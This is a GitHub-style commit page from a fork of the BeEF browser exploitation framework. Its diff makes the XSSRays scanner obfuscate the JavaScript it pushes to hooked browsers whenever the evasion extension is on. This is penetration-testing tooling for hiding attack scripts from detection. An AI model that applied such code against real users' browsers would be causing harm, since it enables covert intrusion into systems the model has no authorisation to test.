Hiddenden/beef
2
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Fix XSSRays when evasion is enabled - Fix #1426

Browse Source
This commit is contained in:
Brendan Coles
2017-08-06 23:28:13 +00:00
parent 14e788e574
commit 50a97d3e36
1 changed files with 24 additions and 5 deletions
Download Patch File Download Diff File Expand all files Collapse all files

29
extensions/xssrays/api/scan.rb
View File

@@ -39,8 +39,12 @@ module BeEF
ws = BeEF::Core::Websocket::Websocket.instance
# todo antisnatchor: prevent sending "content" multiple times. Better leaving it after the first run, and don't send it again.
# todo antisnatchor: prevent sending "content" multiple times.
# Better leaving it after the first run, and don't send it again.
# todo antisnatchor: remove this gsub crap adding some hook packing.
# If we use WebSockets, just reply wih the component contents
if config.get("beef.http.websocket.enable") && ws.getsocket(hb.session)
content = File.read(find_beefjs_component_path 'beef.net.xssrays').gsub('//
// Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
@@ -48,9 +52,15 @@ module BeEF
// See the file \'doc/COPYING\' for copying permission
//', "")
add_to_body xs.id, hb.session, beefurl, cross_domain, timeout, debug
ws.send(content + @body,hb.session)
#if we use WebSockets, just reply wih the component contents
else # if we use XHR-polling, add the component to the main hook file
if config.get("beef.extension.evasion.enable")
evasion = BeEF::Extension::Evasion::Evasion.instance
ws.send(evasion.obfuscate(content) + @body, hb.session)
else
ws.send(content + @body, hb.session)
end
# If we use XHR-polling, add the component to the main hook file
else
build_missing_beefjs_components 'beef.net.xssrays'
add_to_body xs.id, hb.session, beefurl, cross_domain, timeout, debug
end
@@ -60,11 +70,20 @@ module BeEF
end
def add_to_body(id, session, beefurl, cross_domain, timeout, debug)
@body << %Q{
config = BeEF::Core::Configuration.instance
req = %Q{
beef.execute(function() {
beef.net.xssrays.startScan('#{id}', '#{session}', '#{beefurl}', #{cross_domain}, #{timeout}, #{debug});
});
}
if config.get("beef.extension.evasion.enable")
evasion = BeEF::Extension::Evasion::Evasion.instance
@body << evasion.obfuscate(req)
else
@body << req
end
end
end
end